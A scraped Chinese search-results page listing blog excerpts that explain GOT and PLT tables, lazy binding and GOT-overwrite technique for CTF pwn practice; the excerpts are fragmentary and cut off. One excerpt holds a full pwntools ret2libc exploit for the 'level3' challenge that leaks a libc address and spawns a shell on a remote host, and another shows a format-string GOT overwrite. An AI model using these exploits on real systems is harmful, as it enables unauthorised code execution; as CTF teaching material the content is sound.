精华内容
下载资源
问答
  • PNW入门之got表覆写-附件资源
  • GOT表和PLT表

    2021-08-07 23:40:01
    GOT表和PLT表 文章目录GOT表和PLT表前言一、GOT表二、PLT表总结 前言 程序对于外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,(C语言应该讲过)链接的方式分为静态链接和动态链接。 静态链接得到的...

    GOT表和PLT表


    前言

    程序对于外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,(C语言应该讲过)链接的方式分为静态链接和动态链接。

    静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件中并不包含外部函数的代码,而是运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。

    怎么理解呢,这里打个比喻,静态链接是给你一件成品武器,调用时直接整个武器都已经组装好了到你手里,动态链接是给你一个武器库,调用时去武器库里找相应的武器。

    动态链接是如何找到对应的武器:从PLT获取到地址后跳转到对应的GOT中,并且PLT一般在低地址。

    一、GOT表

    Globle offset table全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址,GOT表存储在数据段,(在IDA中是也就是.data段)可以在程序运行中被修改。

    hijack GOT:
    修改某一个被调用函数的地址,让其指向另一个函数,例如修改printf()函数的地址让其指向system(),这样做的结果就是原本对于printf()的调用就变成了调用system()函数。

    二、PLT表

    procedure linkage table过程连接表,位于代码段,是一个每个条目是16字节内容的数组。其中PLT[0]储存的信息能用来跳转到动态链接器中,PLT【1】是系统启动函数(__libc_start_main),其余每个条目都负责调用一个具体的函数。

    用来存储外部函数的入口点,换而言之程序总会到PLT这里寻找外部函数的地址。

    总结

    第一步:确定函数A在GOT表中的地址,和函数B在内存中的地址,将函数B的地址写入函数A在GOT表中。
    (例如我们知道了printf函数在GOT表中的位置,以及system函数在内存中的地址,就可以将system写入GOT表替代printf)
    那么,我们如何确定printf函数在GOT表中的地址呢
    程序调用函数时通过PLT表跳转到了GOT表的对应条目,所以我们当然可以在函数调用的汇编指令中找到PLT表中该函数的入口地点,从而定位到该函数在GOT表中的对应条目。

    然后是确定函数B(system函数)在内存中的地址
    如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直接确定函数的地址。加入函数B在栈溢出之前被调用郭,我们就可以通过前一个问题的答案(从GOT表中获取已有的地址)。
    但是一般情况下往往没有那么理想。
    然而,函数在动态链接库的相对位置是固定的,并且在动态库生成时就已经确定。加入我们知道了函数A的地址,同时也知道函数A和函数B在动态链接库的相对位置,就可以推算出函数B的地址。

    可以将PLT表理解为一辆列车,GOT表示终点站,我们通过PLT表这辆列车,就可以到达GOT表,如果我们通过某种手段修改了这辆列车的目的地,那我们就可以到我们想要去的GOT表中的位置
    大致步骤如下,
    确定函数A在GOT表中的地址,以及函数B在内存中的地址,将函数B的地址写入函数A在GOT中的地址。

    展开全文
  • hijack GOT, 打个比喻,可以理解为狸猫换太子,修改某一个被调用函数的地址,让其指向另一个函数,例如修改printf()函数的地址让其指向system(),这样做的结果就是原本对于printf()的调用就变成了调用system()函数。 ...

    参考链接
    https://mp.weixin.qq.com/s/yf55JtvSKK70AuqBIpVNTA

    我们先看来自ctf-wiki上的解释
    hijack GOT,
    打个比喻,可以理解为偷梁换柱,修改某一个被调用函数的地址,让其指向另一个函数,例如修改printf()函数的地址让其指向system(),这样做的结果就是原本对于printf()的调用就变成了调用system()函数。
    然后我们首先要理解函数调用时发生了什么,才能实现这个过程。
    1.程序对于外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,(C语言应该讲过)链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件中并不包含外部函数的代码,而是运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。
    怎么理解呢,这里打个比喻,静态链接是给你一件成品武器,调用时直接整个武器都已经组装好了到你手里,动态链接是给你一个武器库,调用时去武器库里找相应的武器。
    在这里插入图片描述
    那么动态链接是如何找到对应的武器的呢,这个过程就需要用到我们这篇文章要介绍的GOT表和PLT表了.
    GOT表全程是全局偏移量表,用来存储外部函数在内存的确切地址,GOT表存储在数据段,(在IDA中是也就是.data段)可以在程序运行中被修改。PLT表全程是程序链接表,用来存储外部函数的入口点,换而言之程序总会到PLT这里寻找外部函数的地址。(我个人理解为挂号更形象)。PLT存储在代码段内,在运行之前就已经确定并且不会被修改,所以PLT并不会知道程序运行时动态链接库被加载的确切位置。那么PLT表内存储的入口点是什么呢,就是GOT表中对应的条目的地址。(从PLT挂号到GOT号诊室就诊。)
    在这里插入图片描述
    从图也可以看出来,从PLT获取到地址后跳转到对应的GOT中,并且PLT一般在低地址。
    在这里插入图片描述

    然后仔细思考我们会发现一个问题,那就是为什么要多此一举,不直接把所有外部函数的内存的地址放如GOT表,只使用GOT表不是更加的方便么,为什么要多弄一个PLT表。
    原因是为了程序的运行效率,GOT表的初始值都指向PLT对应的某个片段中,而对应的PLT片段中包含能够解析函数地址的函数。(提高效率的原因就在这里)所以当一段程序需要调用某个外部函数时,先到PLT中寻找对应入口点再跳转GOT表。
    如果这是第一次调用这个外部函数,那么程序会通过GOT表再次跳转回PLT表,然后运行解析地址的函数来确定函数的确切地址,并用这个确切地址覆盖掉GOT表的初始值,然后再进行函数调用。这样我们第二次调用这个函数时,程序就会通过PLT表跳转到GOT表中,此时GOT表已经存有获取函数的内存地址,所以会直接跳转到函数所在的地址执行函数。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这样提高效率的原因是将“解析外部函数的内存地址”这一步留到实际调用时才进行,而非程序一开始运行就解析出全部地址。
    于是我们的漏洞利用思想也是基于这里,那就是到GOT表中将函数A的地址改为函数的地址,那么这样后面所有对于函数A的调用都会执行函数B
    例如将printf()函数的地址修改为system(),那么我们后面所有调用printf函数都会变成调用system函数
    在这里插入图片描述
    那么我们的利用步骤如下
    第一步:确定函数A在GOT表中的地址,和函数B在内存中的地址,将函数B的地址写入函数A在GOT表中。
    (例如我们知道了printf函数在GOT表中的位置,以及system函数在内存中的地址,就可以将system写入GOT表替代printf)
    那么,我们如何确定printf函数在GOT表中的地址呢
    程序调用函数时通过PLT表跳转到了GOT表的对应条目,所以我们当然可以在函数调用的汇编指令中找到PLT表中该函数的入口地点,从而定位到该函数在GOT表中的对应条目。

    在这里插入图片描述
    例如我们看下面这句汇编语言,就说明了printf函数在PLT表中的入口点是0x08048430,所以0x08048430处存储的就是printf函数在GOT表中所存储的位置。
    在这里插入图片描述
    然后是确定函数B(system函数)在内存中的地址
    如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直接确定函数的地址。加入函数B在栈溢出之前被调用郭,我们就可以通过前一个问题的答案(从GOT表中获取已有的地址)。
    但是一般情况下往往没有那么理想。
    然而,函数在动态链接库的相对位置是固定的,并且在动态库生成时就已经确定。加入我们知道了函数A的地址,同时也知道函数A和函数B在动态链接库的相对位置,就可以推算出函数B的地址。
    在这里插入图片描述
    然后如何实现对GOT表的修改呢,(一般用到我们的ROPgadget工具,那么就看我另外的文章了。)
    在这里插入图片描述

    然后我们来看一道例题

    这道题目其实就是攻防世界新手区的level3
    32位,然后看main函数,没什么东西

    在这里插入图片描述
    也没什么东西,wirte函数意为从Input:\n中输出7个长度的内容
    而且这题我们在程序内部查找后并没有发现相关的system函数和/bin/sh这个字符串
    在这里插入图片描述
    这题我们就要通过程序加载的libc里面的库函数system和/bin/sh字符串来达到我们的目的,同时利用刚学到的GOT表和PLT表的漏洞来获取flag。
    首先当程序开始运行的时候,会把整个的libc映射到内存空间里面,后面程序调用相关库函数的时候,就会依照上面介绍的PLT和GOT的机制,将所需要的库函数加载到内存空间的某个虚拟内存地址之中。然后调用就会通过PLT-GOT表跳转到真正的函数内存地址处完成功能。
    然后我们利用刚才的原理,通过write函数泄露write函数的真实地址,然后通过write函数的真实地址计算出system和"/bin/sh"的真实地址,然后跳转过去执行,这就需要我们进行两次溢出
    这道题自带的库是libc_32.so.6,我们把它放入IDA,然后ctrl+F搜索system和wirte
    system为0x3A940
    在这里插入图片描述
    write为0xD43C0
    在这里插入图片描述
    不过不知道为什么找不到/bin/sh(希望有哪位老哥知道的告诉我一下)不过对做题目不影响,这里只是看一下libc库里面的东西而已。
    在这里插入图片描述

    然后我们就可以开始写exp了。
    第一种不使用LibcSearcher的写法

    
    
    from pwn import *
    
    context.log_level = 'debug'
    p=remote('111.198.29.45' ,'37701')
    elf=ELF('./level3')								
    libc=ELF('./libc_32.so.6')		
    
    write_plt=elf.plt['write']								
    write_got=elf.got['write']						#对应第一步,确认被替代的函数A(write)在got表和plt表中的位置
    main_addr = elf.symbols['main']			#这里还要找到write函数的返回地址(write函数的返回地址正是main函数)
    
    payload='a'*0x8C+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)		
    #这里通过溢出使程序指向write在plt上的地址,让plt上的write被执行一次,然后依次传入write函数的三个参数p32(1)+p32(write_got)+p32(4),下面有解析,总之这样让我们从wirte的got表上读取了四位内存信息
    #按照函数-》返回地址-》参数1-》参数2-》参数3这样顺序的原因以前的文章讲过,参数最后返回)
    p.sendlineafter('Input:\n', payload)
    write_addr=u32(p.recv())		#上面接收了,这里赋值
    
    libc_base=write_addr-libc.symbols['write']							#通过两者相减,计算libc与实际在got表中的差值,以此计算system与libc的差值
    print  'libc_base is' ,libc_base
    
    sys_addr = libc_base + libc.symbols['system']
    bin_addr =libc_base+libc.search('/bin/sh').next()               #查找函数用symbols,查找字符串用search().next()下面有图
    
    payload='A' * 0x8C+p32(sys_addr)+'AAAA'+p32(bin_addr)			#再次发送payload	
    p.sendline(payload)
    p.interactive()
    	
    p.close()
    

    write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。write函数的优点是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰。
    (所以上面的脚本中我们就是把其中的addr换成了write_got,让我们读取到了write在got中的信息)

    这里我们要解释一下write函数
    在这里插入图片描述

    展开全文
  • 深入理解GOT表和PLT表

    千次阅读 2020-02-08 16:07:00
    0x01 前言 操作系统通常使用动态链接的方法来提高程序运行的效率。 在动态链接的情况下,程序加载的时候并...而且现代操作系统不允许修改代码段,只能修改数据段,那么GOT表与PLT表就应运而生。 0x02 初探GOT表...

    0x01 前言

    操作系统通常使用动态链接的方法来提高程序运行的效率。
    在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。
    这样的设计就能提高程序运行的流畅度,也减少了内存空间。而且现代操作系统不允许修改代码段,只能修改数据段,那么GOT表与PLT表就应运而生。

    0x02 初探GOT表和PLT表

    我们先简单看一个例子
    在这里插入图片描述
    我们跟进一下scanf@plt

    会发现,有三行代码

    jmp 一个地址
    push 一个值到栈里面
    jmp 一个地址
    

    看函数的名字就可以知道这是scanf函数的plt表,先不着急去了解plt是做什么用的,我们继续往下看
    我们先看一下第一个jmp是什么跳到哪里
    在这里插入图片描述
    其实这是plt表对应函数的got表,而且我们会发现0x201020的值是压栈命令的地址,其他地方为0,此时就想问:
    一、got表与plt表有什么意义,为什么要跳来跳去?
    二、got表与plt表有什么联系,有木有什么对应关系?
    那么带着疑问先看答案,再去印证
    我们要明白操作系统通常使用动态链接的方法来提高程序运行的效率,而且不能回写到代码段上。
    在上面例子中我们可以看到,call scanf —> scanf的plt表 —>scanf的got表,至于got表的值暂时先不管,我们此刻可以形成这样一个思维,它能从got表中找到真实的scanf函数供程序加载运行。
    我们这么认为后,那么这就变成了一个间接寻址的过程
    在这里插入图片描述
    我们就把获取数据段存放函数地址的那一小段代码称为PLT(Procedure Linkage Table)过程链接表
    存放函数地址的数据段称为GOT(Global Offset Table)全局偏移表
    我们形成这么一个思维后,再去仔细理解里面的细节

    0x03 再探GOT表和PLT表

    已经明白了这么一个大致过程后,我们来看一下这其中是怎么一步一步调用的
    上面有几个疑点需要去解决:
    一、got表怎么知道scanf函数的真实地址?
    二、got表与plt表的结构是什么?
    我们先来看plt表
    刚才发现scanf@plt表低三行代码是 jmp 一个地址 ,跟进看一下是什么
    在这里插入图片描述
    其实这是一个程序PLT表的开始(plt[0]),它做的事情是:

    push got[1]
    jmp *got[2]
    

    后面是每个函数的plt表。
    此时我们再看一下这个神秘的GOT表
    在这里插入图片描述
    除了这两个(printf和scanf函数的push 0xn的地址,也就是对应的plt表的第二条代码的地址),其它的got[1], got[2] 为0,那么plt表指向为0的got表干什么呢?
    因为我们落下了一个条件,现代操作系统不允许修改代码段,只能修改数据段,也就是回写,更专业的称谓应该是运行时重定位
    我们把程序运行起来,我们之前的地址和保存的内容就变了
    在这之前,我们先把链接时的内容保存一下,做一个对比
    在这里插入图片描述

    ② 寻找printf的plt表
    ③ jmp到plt[0]
    ④ jmp got[2] -> 0x00000
    ⑤⑥ printf和scanf的got[3] got[4] -> plt[1] plt[2]的第二条代码的地址
    ⑦⑧ 证实上面一点
    

    运行程序,在scanf处下断点
    在这里插入图片描述
    可以发现,此时scanf@plt表变了,查看got[4]里内容
    在这里插入图片描述
    依然是push 0x1所在地址
    继续调试,直到这里,got[4]地址被修改
    在这里插入图片描述
    此时想问了,这是哪里?
    在这里插入图片描述
    在这里插入图片描述
    然后就是got[2]中call<_dl_fixup>从而修改got[3]中的地址
    那么问题就来了,刚才got[2]处不是0吗,怎么现在又是这个(_dl_runtime_resolve)?这就是运行时重定位。其实got表的前三项是:

    got[0]:address of .dynamic section 也就是本ELF动态段(.dynamic段)的装载地址
    got[1]:address of link_map object( 编译时填充0)也就是本ELF的link_map数据结构描述符地址,作用:link_map结构,结合.rel.plt段的偏移量,才能真正找到该elf的.rel.plt表项。
    got[2]:address of _dl_runtime_resolve function (编译时填充为0) 也就是_dl_runtime_resolve函数的地址,来得到真正的函数地址,回写到对应的got表位置中。
    

    那么此刻,got表怎么知道scanf函数的真实地址?这个问题已经解决了。
    我们可以看一下其中的装载过程:
    在这里插入图片描述
    在这里插入图片描述
    说到这个,可以看到在_dl_runtimw_resolve之前和之后,会将真正的函数地址,也就是glibc运行库中的函数的地址,回写到代码段,就是got[n](n>=3)中。
    也就是说在函数第一次调用的时,才通过连接器动态解析并加载到.got.plt中,而这个过程称之为延时加载或者惰性加载
    到这里,也要接近尾声了,当第二次调用同一个函数的时候,就不会与第一次一样那么麻烦了,因为got[n]中已经有了真实地址,直接jmp该地址即可。

    0x04 尾记

    当时学习时看大佬精心制作的一张动图,在此借用一下,特别感谢。
    在这里插入图片描述

    想学习二进制的pwn弟弟还需要努力,希望我的小白学习经验记录下来可以帮助更多和我一样的小白。
    另见:http://bey0nd.xyz/2020/02/08/1/

    展开全文
  • 今天来学习GOT表和PLT表 操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用...

    在学习总结GOT、PLT表的相关知识,下面是我参考的文章和视频,每条资源都互有补充

    感谢各位作者的分享精神

    https://zhuanlan.zhihu.com/p/130271689

    https://blog.csdn.net/qq_18661257/article/details/54694748

    https://blog.csdn.net/linuxheik/article/details/8850416

    https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/

    https://www.bilibili.com/video/BV1a7411p7zK?from=search&seid=7432027928069021725

    https://blog.csdn.net/anzhsoft/article/details/18776111

    https://blog.csdn.net/yy_9117/article/details/88062569


    在调用动态链接库里面的函数时,是如何知道动态链接库里面函数的地址?

    事实上,直到第一次调用这个函数,都并不知道这个函数的地址,这个功能叫做延迟绑定(lazy bind)

    因为程序的分支很多,并不是所有的分支都能跑到,比如异常处理,异常处理分支中的动态链接库里面的函数也许永远都跑不到

    所以,一上来就解析所有出现过的动态库里面的函数时个浪费的办法,降低性能也没有必要

    GOT概述

    • 当在程序中引用某个共享库中的符号时,编译链接阶段并不知道这个符号的具体位置,只有等到动态链接器将所需要的共享库加载进内存后,也就是在运行阶段,符号的地址才会最终确定。因此,需要有一个数据结构来保存符号的绝对地址,这就是GOT表的作用,GOT表中每项保存程序中引用其他符号的绝对地址。这样,程序就可以通过引用GOT表来获得某个符号的地址
    • 在X86结构中,GOT表的前三项保留,用于保存特殊的数据结构地址,其他的各项保存符号的绝对地址
    • 对于符号的动态解析过程,我们只需要了解的就是第2项、第3项,即GOT[1]、GOT[2]
    • GOT[1]保存的是一个地址,指向已经加载的共享库的链表地址
    • GOT[2]保存的是一个函数的地址,定义如下:GOT[2]=&_dl_runtime_resolve,这个函数的主要作用就是找到某个符号的地址,并把它写到与此符号相关的GOT项中,然后就是将控制转移到目标函数中

    PLT表概述

    • PLT表通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数
    • 在实际的可执行程序或者共享目标文件中,GOT表在名称为.got.plt的section中,PLT表在名称为.plt的section中

     

    今天以ret2libc 这个文件作为例子分析

    看到 write@plt,为什么后面加了@plt,因为这个是PLT表中的数据的地址

    @plt函数是编译系统自己加的

    这里我们在 write@plt 处下断点

    r运行

    这里是第一次调用 write函数

    我们 si 跟进

    发现有三行代码,jmp、push、jmp,我们要将这3条指令理解清楚

    第一行代码是通过PLT表跳转到GOT表

    我们看一下要跳到的地址

    发现要跳到下一步的push

    这里也说一下,在调用一个函数的时候有两种方法,一个是通过PLT表调用,一个则是通过GOT表调用,因为PLT表最终也是跳转到GOT表,GOT表中则是一个函数真正的地址,需要注意的是,在一个函数运行第一次之前,GOT表中的数据为@plt函数中下一条指令的地址

    那么,剩下两行代码(push、jmp)的作用就可以理解为:找到真实的write函数地址

    push 0x10 //将数据压到栈上,作为后面函数的参数

     这里的push 0x10,是压入一个参数入栈,压入的参数给哪个函数用呢,是给_dl_runtime_resolve这个函数,这个参数就相当于函数的id,告诉_dl_runtime_resolve要去找哪一个函数的地址

    jmp 0x80482f0  //跳转到函数

     这里跳转到的地址其实是PLT[0],我们来查看一下这个地址,如下图

    发现有一个跳转,这个跳转是调到GOT表中

    我们可以使用如下命令来查看一下GOT表

    objdump -R XXX

    我们在n下一步,和上面的概述对上了,跳到_dl_runtime_resolve函数了,正是由这个函数来确定write函数的真实地址

    我们一路n下一步

    发现将要跳到真正的write函数中去了,这里留意一下write函数的真实地址,会和下面做比较

    我们将write函数执行完

    write函数第一次执行完了

    我们此时,再来查看一下write函数

    通过disass main再来看一眼write@plt的地址

    通过x命令查看,发现又来到jmp、push、jmp这个地方了

    这个时候再来查看第一个jmp跳到的地址

    请和上上图的write函数地址做比较,发现是一致的

    所以在第一次执行write@plt之后,write函数的真实地址就会放到第一个jmp里面

    在第二次执行时,就会直接跳转过去,也就能初步理解延迟绑定机制

    好了,用2张图作为总结(图是从B站的视频中截取不是我画的)

    当第一次调用函数时,如下图

    第2次,则直接从PLT表到GOT表,得到真实地址完成调用

    好了,这节就到这里了

    加油

    继续

    展开全文
  • 由于之前没学过CSAPP第七章的时候,做pwn题时许多概念比如PLT表,GOT表,.BSS段这些概念都不很清楚,按照学长的方法照猫画虎也算是能做出来。如今学习的时候是带着当时的问题学完了这一章。因此做一个小总结,主要是...
  • PWN got表跟plt表

    千次阅读 2018-12-03 20:43:49
    为了更好的用户体验和内存CPUCPU的利用率,程序编译时会采用两种进行辅助,一个为PLTPLT,一个为GOTGOT,PLTPLT可以称为内部函数,GOTGOT为全局函数。 PLTPLT中的每一项的数据内容都是对应的GOTGOT...
  • 获取动态段地址 4.4 遍历动态段,找到got表地址 4.5 修改内存属性为可写 4.6 遍历got表,修改要替换的fopen函数 4.7 恢复存属性为可读可执行 三. inline Hook 1.inline hook 名词解释、知识点 1.1处理器架构 1.2ARM...
  • Android中GOT表HOOK手动实现

    千次阅读 2017-11-17 19:15:42
    5、遍历GOT表,查找GOT表中标记的ReturnGiveValue函数地址,替换为ReturnFakeValue的地址 最后一步我们要知道表项的结构: typedef struct elf32_sym { Elf32_Word st_name; Elf32_Addr st_value; Elf32_...
  • 【逆向学习记录】GOT表与PLT表

    千次阅读 2019-01-08 20:49:04
    在漏洞利用的时候,有几个表需要搞清楚,其中最重要的就是搞清楚PLT表,和Got表,学习的过程中主要参考的是以下文章,同时根据下面的这个表格进行调试工作,为了记录简单,本次采用的是32位程序,系统为ubuntu 16.04...
  • GOT表和PLT表知识详解

    2020-02-12 18:26:43
    GOTGOT和PLTPLT在程序中的作用非常巨大,接下来的讲解希望大家可以仔细看看 我们用一个非常简单的例子来讲解,代码如下: 图1 然后我们编译 我们直接gdb./a.outgdb./a.out来进行反编译处理,然后通过...
  • PLT表和GOT表

    2020-02-28 20:46:03
    为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表。 如果一个elf可执行文件需要调用定义在共享库中的任何函数,那么它就有自己的GOT和PLT。 PLT表称为过程链接表...
  • 代码如下: from pwn import * context(arch='amd64', os='linux') ...puts_got = elf.got['puts'] payload = fmtstr_payload(6, {puts_got: catflag_addr}) io.recvuntil("3. Exit the battle") i
  • PNW入门之got表覆写

    千次阅读 2019-05-06 20:39:18
    通过本次实验掌握got表的覆写和如何绕过canary。 本次实验以flagen文件为例。 实验文件 链接: https://pan.baidu.com/s/1ZSX-4AHSbJH1kGIncHjvbA 提取码:eh2k 实验步骤 首先介绍一下got表覆写的原理: ...
  • 一篇文章,搞懂 GOT表 & PLT表 一个栗子 以一段很简单的代码为例#include<stdio.h> int main(void){ printf("1st"); printf("2nd"); return 0; } 在 Linux 下,使用 gcc 编译,编译时关闭 ASLR...
  • 一、GOT 数据结构分析、 二、函数根据 GOT 进行跳转的流程
  • GOT表覆写技术

    千次阅读 2018-03-22 20:30:41
    GOT表:概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接...
  • 看到程序里存在格式化字符串漏洞,而且有system函数,想到的是将printf@got修改为system@plt,由于一开始system没用执行,所以got表里的地址不对,得用plt表里的。然后传入bin/sh即可 pwntools集成了一个很强的...
  • PLT表和GOT表学习

    2020-02-01 18:06:34
    GOT表和PLT表在程序中的作用非常巨大,接下来的讲解希望大家可以仔细看看 我们用一个非常简单的例子来讲解,代码如下:图1 然后我们编译 我们直接 gdb./a.out 来进行反编译处理,然后通过disas main查看main函数...
  • GOT表以及延迟绑定机制 找了好多篇相关文章,这篇文章说的非常详尽,索性就转载到自己的博客里,以防以后找不到,如有侵权还请作者联系删除。 Linux 动态链接 关于动态链接与静态链接,可以打个比方就是:如果我的...
  • axb_2019_fmt64 附件 步骤: 例行检查,64位程序,只开启了nx保护 ...一开始打算跟fmt32一样来泄露libcpayload = p64(puts_got)+"%08$s",失败了,动调发现被/x00截断了,64位都有这个情况,关于64位格式
  • 前文(聊聊Linux动态链接中的PLT和GOT(2)——延迟重定位)提到所有动态库函数的plt指令最终都跳进公共plt执行,那么公共plt指令里面的地址是什么鬼? 把test可执行文的共公plt贴出来: 080482a0 &lt;...
  • 说实话,坐了这么长时间的pwn题,发现自己对PLT表与GOT表的了解依旧不是很好 所以就趁着五一节假期好好的看一看这个东西 事情的起因是我在看一个格式化字符串的题:good luck 那么我就用它来当作例子 以puts函数为例...
  • android的got表HOOK实现

    2021-08-11 23:59:33
    全局符号表(GOT表)hook,它是通过解析SO文件,将待hook函数在got表的地址替换为自己函数的入口地址,这样目标进程每次调用待hook函数时,实际上是执行了我们自己的函数。 Androd so注入和函数Hook(基于got表)的步骤...
  • 那我们就可以到我们想要去的GOT表中的位置 大致步骤如下, 确定函数A在GOT表中的地址,以及函数B在内存中的地址,将函数B的地址写入函数A在GOT中的地址 (例如知道wirte函数的地址,将其修改为system) 我们首先看看...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 46,097
精华内容 18,438
关键字:

got表